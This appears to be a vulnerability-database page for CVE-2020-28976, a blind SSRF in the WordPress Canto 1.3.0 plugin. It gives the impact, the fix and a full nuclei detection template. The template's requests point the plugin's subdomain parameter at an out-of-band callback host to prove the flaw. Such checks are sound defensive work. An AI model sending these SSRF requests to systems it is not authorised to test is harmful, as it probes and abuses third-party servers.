HexBrain

Browse / CVEs / CVE-2020-28976

CVE-2020-28976· canto / canto· CWE-918

WordPress Canto 1.3.0 - Blind Server-Side Request Forgery

mediumseverity
5.3CVSS score
27.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.

Fix

Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.

How to confirm it

Send: GET /wp-content/plugins/canto/readme.txt
Positive when: contains "Canto" and "Tested up to:"
Send: GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}} ; GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}} ; GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "null" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2020-28976 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-28976

info:
  name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
  author: LogicalHunter
  severity: medium
  description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
  remediation: |
    Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/49189
    - https://www.canto.com/integrations/wordpress/
    - https://github.com/CantoDAM/Canto-Wordpress-Plugin
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
    - http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28976
    cwe-id: CWE-918
    epss-score: 0.27771
    epss-percentile: 0.98105
    cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 4
    vendor: canto
    product: canto
    framework: wordpress
  tags: cve2020,cve,packetstorm,ssrf,wordpress,wp-plugin,oast,edb,canto,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/canto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Canto'
          - 'Tested up to:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "null"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from